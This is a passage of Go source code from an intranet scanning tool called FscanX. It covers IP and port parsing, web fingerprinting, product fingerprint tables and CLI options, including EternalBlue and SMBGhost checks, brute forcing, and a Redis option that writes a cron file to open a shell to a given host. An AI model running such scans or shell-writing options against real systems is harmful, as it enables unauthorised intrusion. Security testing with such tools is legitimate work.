ccorrect") 96 | } 97 | start, end := [4]int{},[4]int{} 98 | for i:= 0;i < 4 ;i++{ 99 | ip1, err1 := strconv.Atoi(splitip1[i]) 100 | ip2, err2 := strconv.Atoi(splitip2[i]) 101 | if ip1 > ip2 || err1 != nil || err2 != nil { 102 | return []string{},errors.New("input format is not ccorrect") 103 | } 104 | start[i],end[i] = ip1,ip2 105 | } 106 | startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3] 107 | endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3] 108 | for num := startNum; num <= endNum; num++ { 109 | ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff) 110 | temp = append(temp, ip) 111 | } 112 | } 113 | return temp,nil 114 | } 115 | 116 | func ResolvePORTS(ports string)([]int, error){ 117 | var scanports []int 118 | var slices = strings.Split(ports,",") 119 | for _, port := range slices{ 120 | port = strings.Trim(port,"") 121 | upper := port 122 | if strings.Contains(port,"-"){ 123 | ranges := strings.Split(port,"-") 124 | if len(ranges) < 2{ 125 | continue 126 | } 127 | startPort, _ := strconv.Atoi(ranges[0]) 128 | endPort, _ := strconv.Atoi(ranges[1]) 129 | if startPort < endPort { 130 | port = ranges[0] 131 | upper = ranges[1] 132 | } else { 133 | port = ranges[1] 134 | upper = ranges[0] 135 | } 136 | } 137 | start,_ := strconv.Atoi(port) 138 | end, _ := strconv.Atoi(upper) 139 | for i:= start;i<=end;i++{ 140 | scanports = append(scanports,i) 141 | } 142 | } 143 | scanports = removeDuplicate(scanports) 144 | return scanports,nil 145 | } 146 | 147 | func removeDuplicate(old []int) []int { 148 | result := make([]int, 0, len(old)) 149 | temp := map[int]struct{}{} 150 | for _, item := range old { 151 | if _, ok := temp[item]; !ok { 152 | temp[item] = struct{}{} 153 | result = append(result, item) 154 | } 155 | } 156 | return result 157 | } 158 | 159 | 160 | // 解析为445,69,72-15这种以逗号隔开的端口 161 | func resolvePorts(ports string)[]int{ 162 | var scanPorts []int 163 | slices := strings.Split(ports, ",") 164 | for _, port := range slices { 165 | port = strings.Trim(port, " ") 166 | upper := port 167 | if strings.Contains(port, "-") { 168 | ranges := strings.Split(port, "-") 169 | if len(ranges) < 2 { 170 | continue 171 | } 172 | startPort, _ := strconv.Atoi(ranges[0]) 173 | endPort, _ := strconv.Atoi(ranges[1]) 174 | if startPort < endPort { 175 | port = ranges[0] 176 | upper = ranges[1] 177 | } else { 178 | port = ranges[1] 179 | upper = ranges[0] 180 | } 181 | } 182 | start, _ := strconv.Atoi(port) 183 | end, _ := strconv.Atoi(upper) 184 | for i := start; i <= end; i++ { 185 | scanPorts = append(scanPorts, i) 186 | } 187 | } 188 | scanPorts = removeDuplicate(scanPorts) 189 | return scanPorts 190 | } 191 | -------------------------------------------------------------------------------- /webscan/web.go: -------------------------------------------------------------------------------- 1 | package webscan 2 | 3 | import ( 4 | "FscanX/config" 5 | "FscanX/webscan/lib" 6 | "bytes" 7 | "compress/gzip" 8 | "fmt" 9 | "github.com/saintfish/chardet" 10 | "golang.org/x/net/html/charset" 11 | "golang.org/x/text/encoding/simplifiedchinese" 12 | "golang.org/x/text/transform" 13 | "io" 14 | "io/ioutil" 15 | "net/http" 16 | "net/url" 17 | "regexp" 18 | "strings" 19 | ) 20 | 21 | type httpdata struct { 22 | Host string 23 | Ports int 24 | Infostr []string 25 | Thread int 26 | } 27 | 28 | type CheckDatas struct { 29 | Body []byte 30 | Headers string 31 | } 32 | 33 | func WebScan(result *config.PortResult,fragile bool,thread int){ 34 | for _,value := range result.Port{ 35 | _ = webtitle(&httpdata{Host: result.IP,Ports: value,Thread: thread},fragile) 36 | } 37 | } 38 | 39 | var ( 40 | Charsets = []string{"utf-8", "gbk", "gb2312"} 41 | ) 42 | 43 | func webtitle(httpd *httpdata,fragile bool) error{ 44 | var CheckData []CheckDatas 45 | switch httpd.Ports { 46 | case 80: 47 | httpd.Host = fmt.Sprintf("http://%s", httpd.Host) 48 | case 443: 49 | httpd.Host = fmt.Sprintf("https://%s", httpd.Host) 50 | default: 51 | httpd.Host = fmt.Sprintf("http://%s:%v", httpd.Host, httpd.Ports) 52 | } 53 | err,result ,CheckData := geturl(httpd,1,CheckData) 54 | if err != nil && ! strings.Contains(err.Error(),"EOF"){ 55 | return err 56 | } 57 | if strings.Contains(result,"://"){ 58 | redirecturl, err := url.Parse(result) 59 | if err == nil { 60 | httpd.Host = redirecturl.String() 61 | err,result,CheckData = geturl(httpd,3,CheckData) 62 | if err != nil { 63 | return err 64 | } 65 | } 66 | } 67 | if result == "https" { 68 | httpd.Host = strings.Replace(httpd.Host , "http://", "https://", 1) 69 | err, result, CheckData = geturl(httpd, 1, CheckData) 70 | if strings.Contains(result, "://") { 71 | //有跳转 72 | redirecturl, err := url.Parse(result) 73 | if err == nil { 74 | httpd.Host = redirecturl.String() 75 | err, result, CheckData = geturl(httpd, 3, CheckData) 76 | if err != nil { 77 | return err 78 | } 79 | } 80 | } else { 81 | if err != nil { 82 | return err 83 | } 84 | } 85 | } 86 | 87 | err, _, CheckData = geturl(httpd, 2, CheckData) 88 | if err != nil { 89 | return err 90 | } 91 | // 进行脆弱扫描 92 | if fragile == true { 93 | httpd.Infostr = InfoCheck(httpd.Host, CheckData) 94 | WebScanPOC(httpd) 95 | } 96 | return err 97 | 98 | } 99 | 100 | func geturl(info *httpdata, flag int, CheckData []CheckDatas) (error, string, []CheckDatas) { 101 | Url := info.Host 102 | if flag == 2 { 103 | URL, err := url.Parse(Url) 104 | if err == nil { 105 | Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host) 106 | } else { 107 | Url += "/favicon.ico" 108 | } 109 | } 110 | 111 | res, err := http.NewRequest("GET", Url, nil) 112 | if err == nil { 113 | res.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") 114 | res.Header.Set("Accept", "*/*") 115 | res.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") 116 | if config.WebConfig.SetCookie != "" { 117 | res.Header.Set("Cookie", "rememberMe=1;"+config.WebConfig.SetCookie) 118 | } else { 119 | res.Header.Set("Cookie", "rememberMe=1") 120 | } 121 | res.Header.Set("Connection", "close") 122 | 123 | var client *http.Client 124 | if flag == 1 { 125 | client = lib.ClientNoRedirect 126 | } else { 127 | client = lib.Client 128 | } 129 | resp, err := client.Do(res) 130 | if err == nil { 131 | defer resp.Body.Close() 132 | var title string 133 | var text []byte 134 | body, err := getRespBody(resp) 135 | if err != nil { 136 | return err, "", CheckData 137 | } 138 | if flag != 2 { 139 | re := regexp.MustCompile("(?ims)(.*)") 140 | find := re.FindSubmatch(body) 141 | if len(find) > 1 { 142 | text = find[1] 143 | GetEncoding := func() string { // 判断Content-Type 144 | r1, err := regexp.Compile(`(?im)charset=\s*?([\w-]+)`) 145 | if err != nil { 146 | return "" 147 | } 148 | headerCharset := r1.FindString(resp.Header.Get("Content-Type")) 149 | if headerCharset != "" { 150 | for _, v := range Charsets { // headers 编码优先,所以放在前面 151 | if strings.Contains(strings.ToLower(headerCharset), v) == true { 152 | return v 153 | } 154 | } 155 | } 156 | 157 | r2, err := regexp.Compile(`(?im)`) 158 | if err != nil { 159 | return "" 160 | } 161 | htmlCharset := r2.FindString(string(body)) 162 | if htmlCharset != "" { 163 | for _, v := range Charsets { 164 | if strings.Contains(strings.ToLower(htmlCharset), v) == true { 165 | return v 166 | } 167 | } 168 | } 169 | return "" 170 | } 171 | encode := GetEncoding() 172 | _, encode1, _ := charset.DetermineEncoding(body, "") 173 | var encode2 string 174 | detector := chardet.NewTextDetector() 175 | detectorstr, _ := detector.DetectBest(body) 176 | if detectorstr != nil { 177 | encode2 = detectorstr.Charset 178 | } 179 | if encode == "gbk" || encode == "gb2312" || encode1 == "gbk" || strings.Contains(strings.ToLower(encode2), "gb") { 180 | titleGBK, err := Decodegbk(text) 181 | if err == nil { 182 | title = string(titleGBK) 183 | } 184 | } else { 185 | title = string(text) 186 | } 187 | } else { 188 | title = "None" 189 | } 190 | title = strings.Trim(title, "\r\n \t") 191 | title = strings.Replace(title, "\n", "", -1) 192 | title = strings.Replace(title, "\r", "", -1) 193 | title = strings.Replace(title, " ", " ", -1) 194 | if len(title) > 100 { 195 | title = title[:100] 196 | } 197 | if title == "" { 198 | title = "None" 199 | } 200 | result := fmt.Sprintf("[*] %s code:%-3v title:%v", Url, resp.StatusCode, title) 201 | fmt.Println(result) 202 | } 203 | CheckData = append(CheckData, CheckDatas{body, fmt.Sprintf("%s", resp.Header)}) 204 | redirURL, err1 := resp.Location() 205 | if err1 == nil { 206 | return nil, redirURL.String(), CheckData 207 | } 208 | if resp.StatusCode == 400 && info.Host[:5] != "https" { 209 | return err, "https", CheckData 210 | } 211 | return err, "", CheckData 212 | } 213 | return err, "https", CheckData 214 | } 215 | return err, "", CheckData 216 | } 217 | 218 | 219 | func getRespBody(oResp *http.Response) ([]byte, error) { 220 | var body []byte 221 | if oResp.Header.Get("Content-Encoding") == "gzip" { 222 | gr, err := gzip.NewReader(oResp.Body) 223 | if err != nil { 224 | return nil, err 225 | } 226 | defer gr.Close() 227 | for { 228 | buf := make([]byte, 1024) 229 | n, err := gr.Read(buf) 230 | if err != nil && err != io.EOF { 231 | return nil, err 232 | } 233 | if n == 0 { 234 | break 235 | } 236 | body = append(body, buf...) 237 | } 238 | } else { 239 | raw, err := ioutil.ReadAll(oResp.Body) 240 | if err != nil { 241 | return nil, err 242 | } 243 | defer oResp.Body.Close() 244 | body = raw 245 | } 246 | return body, nil 247 | } 248 | 249 | func Decodegbk(s []byte) ([]byte, error) { // GBK解码 250 | I := bytes.NewReader(s) 251 | O := transform.NewReader(I, simplifiedchinese.GBK.NewDecoder()) 252 | d, e := ioutil.ReadAll(O) 253 | if e != nil { 254 | return nil, e 255 | } 256 | return d, nil 257 | } -------------------------------------------------------------------------------- /core/flags.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "FscanX/config" 5 | "github.com/urfave/cli/v2" 6 | "os" 7 | "reflect" 8 | "regexp" 9 | ) 10 | 11 | func GetFlags(){ 12 | var enter config.EnterFlag 13 | var reg = regexp.MustCompile("((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})(\\.((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})){3}") 14 | var app = cli.App{ 15 | Commands:[]*cli.Command{ 16 | { 17 | Name:"webscan", 18 | Usage: "discovery and vulnerability scanning of the web server", 19 | Flags: []cli.Flag{ 20 | &cli.IntFlag{ 21 | Name: "thread", 22 | Value: 50, 23 | Usage: "set gorouite for fscanX", 24 | 25 | }, 26 | &cli.BoolFlag{ 27 | Name: "noping", 28 | Value: false, 29 | Usage: "whether to use ping command", 30 | }, 31 | &cli.StringFlag{ 32 | Name: "cookie", 33 | Usage: "set cookies to use when scanning", 34 | }, 35 | &cli.StringFlag{ 36 | Name: "proxy", 37 | Usage: "set http proxy to use when scanning", 38 | }, 39 | &cli.StringFlag{ 40 | Name: "port", 41 | Usage: "The list of ports to be scanned", 42 | }, 43 | &cli.BoolFlag{ 44 | Name: "fragile", 45 | Value: false, 46 | Usage: "Detection and blasting of vulnerable web", 47 | }, 48 | }, 49 | Action: func(c *cli.Context) error { 50 | enter.NoPing = reflect.ValueOf(c.Value("noping")).Bool() 51 | enter.Thread = reflect.ValueOf(c.Value("thread")).Int() 52 | if reg.MatchString(c.Args().Get(0)) == true{ 53 | enter.ScanHost = c.Args().Get(0) 54 | } 55 | if reflect.ValueOf(c.Value("cookie")).String() != ""{ 56 | config.WebConfig.SetCookie = reflect.ValueOf(c.Value("cookie")).String() 57 | } 58 | if reflect.ValueOf(c.Value("proxy")).String() != ""{ 59 | config.WebConfig.SetProxy = reflect.ValueOf(c.Value("proxy")).String() 60 | } 61 | if reflect.ValueOf(c.Value("port")).String() != ""{ 62 | enter.Ports = reflect.ValueOf(c.Value("port")).String() 63 | } 64 | enter.Fragile = reflect.ValueOf(c.Value("fragile")).Bool() 65 | enter.ScanType = "webscan" 66 | return nil 67 | }, 68 | }, 69 | { 70 | Name:"oxidscan", 71 | Usage: "Obtain the network card address on the windows remote host through oxid", 72 | Flags: []cli.Flag{ 73 | &cli.IntFlag{ 74 | Name: "thread", 75 | Value: 50, 76 | Usage: "set gorouite for fscanX", 77 | 78 | }, 79 | &cli.BoolFlag{ 80 | Name: "noping", 81 | Value: false, 82 | Usage: "whether to use ping command", 83 | }, 84 | }, 85 | Action: func(c *cli.Context) error { 86 | enter.NoPing = reflect.ValueOf(c.Value("noping")).Bool() 87 | enter.Thread = reflect.ValueOf(c.Value("thread")).Int() 88 | if reg.MatchString(c.Args().Get(0)) == true{ 89 | enter.ScanHost = c.Args().Get(0) 90 | } 91 | enter.ScanType = "oxidscan" 92 | return nil 93 | }, 94 | }, 95 | { 96 | Name:"hostscan", 97 | Usage: "The scan finds the surviving host and outputs details", 98 | Flags: []cli.Flag{ 99 | &cli.IntFlag{ 100 | Name: "thread", 101 | Value: 50, 102 | Usage: "set gorouite for fscanX", 103 | 104 | }, 105 | &cli.BoolFlag{ 106 | Name: "noping", 107 | Value: false, 108 | Usage: "whether to use ping command", 109 | }, 110 | }, 111 | Action: func(c *cli.Context) error { 112 | enter.NoPing = reflect.ValueOf(c.Value("noping")).Bool() 113 | enter.Thread = reflect.ValueOf(c.Value("thread")).Int() 114 | if reg.MatchString(c.Args().Get(0)) == true{ 115 | enter.ScanHost = c.Args().Get(0) 116 | } 117 | enter.ScanType = "hostscan" 118 | return nil 119 | }, 120 | }, 121 | { 122 | Name:"portscan", 123 | Usage: "Port scans are performed after the scan completes for the surviving host and details are output", 124 | Flags: []cli.Flag{ 125 | &cli.IntFlag{ 126 | Name: "thread", 127 | Value: 50, 128 | Usage: "set gorouite for fscanX", 129 | 130 | }, 131 | &cli.BoolFlag{ 132 | Name: "noping", 133 | Value: false, 134 | Usage: "Whether to use ping command", 135 | }, 136 | &cli.StringFlag{ 137 | Name: "port", 138 | Usage: "The list of ports to be scanned", 139 | }, 140 | &cli.BoolFlag{ 141 | Name: "fragile", 142 | Value: false, 143 | Usage: "Detection and blasting of vulnerable ports", 144 | }, 145 | &cli.BoolFlag{ 146 | Name: "netbios", 147 | Value: false, 148 | Usage: "Detects netbios and output details", 149 | }, 150 | &cli.StringFlag{ 151 | Name: "sk", 152 | Usage: "Use ssh key certification (as --sk id_rsa)", 153 | }, 154 | &cli.StringFlag{ 155 | Name: "rf", 156 | Usage: "redis file to write sshkey file (as --rf id_rsa.pub)", 157 | }, 158 | &cli.StringFlag{ 159 | Name: "rs", 160 | Usage: "redis shell to write cron file (as: --rs 192.168.1.1:6666)", 161 | }, 162 | }, 163 | Action: func(c *cli.Context) error { 164 | enter.NoPing = reflect.ValueOf(c.Value("noping")).Bool() 165 | enter.Fragile = reflect.ValueOf(c.Value("fragile")).Bool() 166 | enter.Thread = reflect.ValueOf(c.Value("thread")).Int() 167 | enter.Netbios = reflect.ValueOf(c.Value("netbios")).Bool() 168 | if reg.MatchString(c.Args().Get(0)) == true{ 169 | enter.ScanHost = c.Args().Get(0) 170 | } 171 | enter.ScanType = "portscan" 172 | if reflect.ValueOf(c.Value("port")).String() != "" { 173 | enter.Ports = reflect.ValueOf(c.Value("port")).String() 174 | } 175 | if reflect.ValueOf(c.Value("sk")).String() != ""{ 176 | enter.Sshkey = reflect.ValueOf(c.Value("sshkey")).String() 177 | } 178 | if reflect.ValueOf(c.Value("rf")).String() != ""{ 179 | config.RedisFile = reflect.ValueOf(c.Value("rf")).String() 180 | } 181 | if reflect.ValueOf(c.Value("rs")).String() != ""{ 182 | config.RedisFile = reflect.ValueOf(c.Value("rs")).String() 183 | } 184 | return nil 185 | }, 186 | }, 187 | { 188 | Name: "ms17010", 189 | Usage: "The target is first tested for survival before the eternal blue is tested", 190 | Flags: []cli.Flag{ 191 | &cli.IntFlag{ 192 | Name: "thread", 193 | Value: 50, 194 | Usage: "set gorouite for fscanX", 195 | }, 196 | &cli.BoolFlag{ 197 | Name: "noping", 198 | Value: false, 199 | Usage: "whether to use ping command", 200 | }, 201 | }, 202 | Action: func(c *cli.Context) error { 203 | enter.NoPing = reflect.ValueOf(c.Value("noping")).Bool() 204 | enter.Thread = reflect.ValueOf(c.Value("thread")).Int() 205 | if reg.MatchString(c.Args().Get(0)) == true{ 206 | enter.ScanHost = c.Args().Get(0) 207 | } 208 | enter.ScanType = "ms17010" 209 | return nil 210 | }, 211 | }, 212 | { 213 | Name: "smbghost", 214 | Usage: "The target is first tested for survival before the CVE-2020-0796 is tested", 215 | Flags: []cli.Flag{ 216 | &cli.IntFlag{ 217 | Name: "thread", 218 | Value: 50, 219 | Usage: "set gorouite for fscanX", 220 | }, 221 | &cli.BoolFlag{ 222 | Name: "noping", 223 | Value: false, 224 | Usage: "whether to use ping command", 225 | }, 226 | }, 227 | Action: func(c *cli.Context) error { 228 | enter.NoPing = reflect.ValueOf(c.Value("noping")).Bool() 229 | enter.Thread = reflect.ValueOf(c.Value("thread")).Int() 230 | if reg.MatchString(c.Args().Get(0)) == true { 231 | enter.ScanHost = c.Args().Get(0) 232 | } 233 | enter.ScanType = "smbghost" 234 | return nil 235 | }, 236 | }, 237 | }, 238 | } 239 | app.Usage = "A Large killer focused on intranet scanning" 240 | _ = app.Run(os.Args) 241 | 242 | Scanner(enter) 243 | } 244 | -------------------------------------------------------------------------------- /webscan/lib/info/rules.go: -------------------------------------------------------------------------------- 1 | package info 2 | 3 | 4 | type RuleData struct { 5 | Name string 6 | Type string 7 | Rule string 8 | } 9 | 10 | type Md5Data struct { 11 | Name string 12 | Md5Str string 13 | } 14 | 15 | type PocData struct { 16 | Name string 17 | Alias string 18 | } 19 | 20 | var RuleDatas = []RuleData{ 21 | {"Shiro", "headers", "(=deleteMe|rememberMe=)"}, 22 | {"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"}, 23 | {"Gogs简易Git服务", "cookie", "(i_like_gogs)"}, 24 | {"Gitea简易Git服务", "cookie", "(i_like_gitea)"}, 25 | {"宝塔-BT.cn", "code", "(app.bt.cn/static/app.png|安全入口校验失败)"}, 26 | {"Nexus", "code", "(Nexus Repository Manager)"}, 27 | {"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"}, 28 | {"Harbor", "code", "(Harbor)"}, 29 | {"Harbor", "cookie", "(harbor-lang)"}, 30 | {"禅道", "code", "(/theme/default/images/main/zt-logo.png)"}, 31 | {"禅道", "cookie", "(zentaosid)"}, 32 | {"协众OA", "code", "(Powered by 协众OA)"}, 33 | {"协众OA", "cookie", "(CNOAOASESSID)"}, 34 | {"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"}, 35 | {"atmail-WebMail", "cookie", "(atmail6)"}, 36 | {"atmail-WebMail", "code", "(Powered by Atmail)"}, 37 | {"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin)"}, 38 | {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1)"}, 39 | {"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"}, 40 | {"致远OA", "code", "(/seeyon/common/)"}, 41 | {"discuz", "code", "(content=\"Discuz! X\")"}, 42 | {"Typecho", "code", "(Typecho)"}, 43 | {"金蝶EAS", "code", "(easSessionId)"}, 44 | {"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"}, 45 | {"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"}, 46 | {"H3C-AM8000", "code", "(AM8000)"}, 47 | {"360企业版", "code", "(360EntWebAdminMD5Secret)"}, 48 | {"H3C公司产品", "code", "(service@h3c.com)"}, 49 | {"H3C ICG 1000", "code", "(ICG 1000系统管理)"}, 50 | {"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"}, 51 | {"H3C ER5100", "code", "(ER5100系统管理)"}, 52 | {"阿里云CDN", "code", "(cdn.aliyuncs.com)"}, 53 | {"CISCO_EPC3925", "code", "(Docsis_system)"}, 54 | {"CISCO ASR", "code", "(CISCO ASR)"}, 55 | {"H3C ER3200", "code", "(ER3200系统管理)"}, 56 | {"万户ezOFFICE", "headers", "(LocLan)"}, 57 | {"万户网络", "code", "(css/css_whir.css)"}, 58 | {"Spark_Master", "code", "(Spark Master at)"}, 59 | {"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"}, 60 | {"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"}, 61 | {"深信服ssl-vpn", "code", "(login_psw.csp)"}, 62 | {"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"}, 63 | {"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"}, 64 | {"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"}, 65 | {"360主机卫士", "headers", "(zhuji.360.cn)"}, 66 | {"Nagios", "headers", "(Nagios Access)"}, 67 | {"H3C ER8300", "code", "(ER8300系统管理)"}, 68 | {"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"}, 69 | {"华为 MCU", "code", "(McuR5-min.js)"}, 70 | {"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"}, 71 | {"泛微OA", "headers", "(ecology_JSessionid)"}, 72 | {"泛微OA", "code", "(/spa/portal/public/index.js)"}, 73 | {"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"}, 74 | {"360网站卫士", "code", "(360wzb)"}, 75 | {"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"}, 76 | {"H3C ER2100V2", "code", "(ER2100V2系统管理)"}, 77 | {"zabbix", "cookie", "(zbx_sessionid)"}, 78 | {"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA)"}, 79 | {"CISCO_VPN", "headers", "(webvpn)"}, 80 | {"360站长平台", "code", "(360-site-verification)"}, 81 | {"H3C ER3108GW", "code", "(ER3108GW系统管理)"}, 82 | {"o2security_vpn", "headers", "(client_param=install_active)"}, 83 | {"H3C ER3260G2", "code", "(ER3260G2系统管理)"}, 84 | {"H3C ICG1000", "code", "(ICG1000系统管理)"}, 85 | {"CISCO-CX20", "code", "(CISCO-CX20)"}, 86 | {"H3C ER5200", "code", "(ER5200系统管理)"}, 87 | {"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"}, 88 | {"360网站卫士常用前端公共库", "code", "(libs.useso.com)"}, 89 | {"H3C ER3100", "code", "(ER3100系统管理)"}, 90 | {"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"}, 91 | {"360webfacil_360WebManager", "code", "(publico/template/)"}, 92 | {"Citrix_Netscaler", "code", "(ns_af)"}, 93 | {"H3C ER6300G2", "code", "(ER6300G2系统管理)"}, 94 | {"H3C ER3260", "code", "(ER3260系统管理)"}, 95 | {"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"}, 96 | {"exchange", "code", "(/owa/auth.owa)"}, 97 | {"Spark_Worker", "code", "(Spark Worker at)"}, 98 | {"H3C ER3108G", "code", "(ER3108G系统管理)"}, 99 | {"深信服防火墙类产品", "code", "(SANGFOR FW)"}, 100 | {"Citrix-ConfProxy", "code", "(confproxy)"}, 101 | {"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"}, 102 | {"H3C ER5200G2", "code", "(ER5200G2系统管理)"}, 103 | {"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"}, 104 | {"华为(HUAWEI)USG", "code", "(UI_component/commonDefine/UI_regex_define.js)"}, 105 | {"H3C ER6300", "code", "(ER6300系统管理)"}, 106 | {"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"}, 107 | {"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"}, 108 | {"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"}, 109 | {"H3C ER2100", "code", "(ER2100系统管理)"}, 110 | {"绿盟下一代防火墙", "code", "(NSFOCUS NF)"}, 111 | {"jira", "code", "(jira.webresources)"}, 112 | {"金和协同管理平台", "code", "(金和协同管理平台)"}, 113 | {"Citrix-NetScaler", "code", "(NS-CACHE)"}, 114 | {"linksys-vpn", "headers", "(linksys-vpn)"}, 115 | {"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版)"}, 116 | {"华为(HUAWEI)Secoway设备", "code", "(Secoway)"}, 117 | {"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"}, 118 | {"H3C ER2100n", "code", "(ER2100n系统管理)"}, 119 | {"H3C ER8300G2", "code", "(ER8300G2系统管理)"}, 120 | {"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"}, 121 | {"Jboss", "code", "(Welcome to JBoss|jboss.css)"}, 122 | {"Jboss", "headers", "(JBoss)"}, 123 | {"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"}, 124 | {"泛微E-Mobile", "headers", "(EMobileServer)"}, 125 | {"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"}, 126 | {"ThinkPHP", "headers", "(ThinkPHP)"}, 127 | {"ThinkPHP", "code", "(/Public/static/js/)"}, 128 | {"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"}, 129 | {"Laravel", "headers", "(laravel_session)"}, 130 | {"DWR", "code", "(dwr/engine.js)"}, 131 | {"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"}, 132 | {"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"}, 133 | {"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"}, 134 | {"Jenkins", "code", "(Jenkins)"}, 135 | {"红帆OA", "code", "(iOffice)"}, 136 | {"VMware vSphere", "code", "(VMware vSphere)"}, 137 | {"打印机", "code", "(打印机|media/canon.gif)"}, 138 | {"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"}, 139 | {"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization)"}, 140 | {"GitLab", "code", "(href=\"https://about.gitlab.com/)"}, 141 | {"用友NC", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg)"}, 142 | {"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"}, 143 | {"Hadoop Applications", "code", "(/cluster/app/application)"}, 144 | {"用友IUFO", "code", "(iufo/web/css/menu.css)"}, 145 | {"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"}, 146 | } 147 | 148 | var Md5Datas = []Md5Data{ 149 | {"BIG-IP", "04d9541338e525258daf47cc844d59f3"}, 150 | {"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"}, 151 | {"JBOSS", "799f70b71314a7508326d1d2f68f7519"}, 152 | {"锐捷网关", "d8d7c9138e93d43579ebf2e384745ba8"}, 153 | {"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"}, 154 | {"致远OA", "cdc85452665e7708caed3009ecb7d4e2"}, 155 | {"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"}, 156 | {"致远OA", "57f307ad3764553df84e7b14b7a85432"}, 157 | {"致远OA", "3c8df395ec2cbd72782286d18a286a9a"}, 158 | {"致远OA", "2f761c27b6b7f9386bbd61403635dc42"}, 159 | {"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"}, 160 | {"SprintBoot", "0488faca4c19046b94d07c3ee83cf9d6"}, 161 | {"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"}, 162 | {"通达OA", "ed0044587917c76d08573577c8b72883"}, 163 | {"泛微OA", "41eca7a9245394106a09b2534d8030df"}, 164 | {"泛微OA", "c27547e27e1d2c7514545cd8d5988946"}, 165 | {"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"}, 166 | {"泛微OA", "281348dd57383c1f214ffb8aed3a1210"}, 167 | {"GitLab", "85c754581e1d4b628be5b7712c042224"}, 168 | {"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"}, 169 | } 170 | 171 | var PocDatas = []PocData{ 172 | {"致远OA", "seeyon"}, 173 | {"泛微OA", "weaver-oa"}, 174 | {"通达OA", "tongda"}, 175 | {"ThinkPHP", "thinkphp"}, 176 | {"Nexus", "nexus"}, 177 | {"齐治堡垒机", "qizhi"}, 178 | {"weaver-ebridge", "weaver-ebridge"}, 179 | {"weblogic", "weblogic"}, 180 | {"zabbix", "zabbix"}, 181 | {"VMware vSphere", "vmware"}, 182 | {"Jboss", "jboss"}, 183 | {"用友NC", "yongyou"}, 184 | {"用友IUFO", "yongyou"}, 185 | } -------------------------------------------------------------------------------- /core/scanner.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "FscanX/config" 5 | "FscanX/plugin" 6 | "FscanX/webscan" 7 | "FscanX/webscan/lib" 8 | "fmt" 9 | "os" 10 | "runtime" 11 | "strconv" 12 | "sync" 13 | "time" 14 | ) 15 | 16 | func Scanner(flag config.EnterFlag) { 17 | if flag.ScanHost == ""{ 18 | fmt.Println("FscanX.exe [global options] command [command options] [arguments...] HOST ") 19 | return 20 | } 21 | start := time.Now() 22 | if flag.ScanType != ""{ 23 | fmt.Println("当前操作系统:",runtime.GOOS) 24 | fmt.Println("进程信息:", os.Args[0],os.Getpid()) 25 | fmt.Println("") 26 | } 27 | switch flag.ScanType { 28 | case "hostscan": 29 | hostscanner(flag) 30 | case "ms17010": 31 | 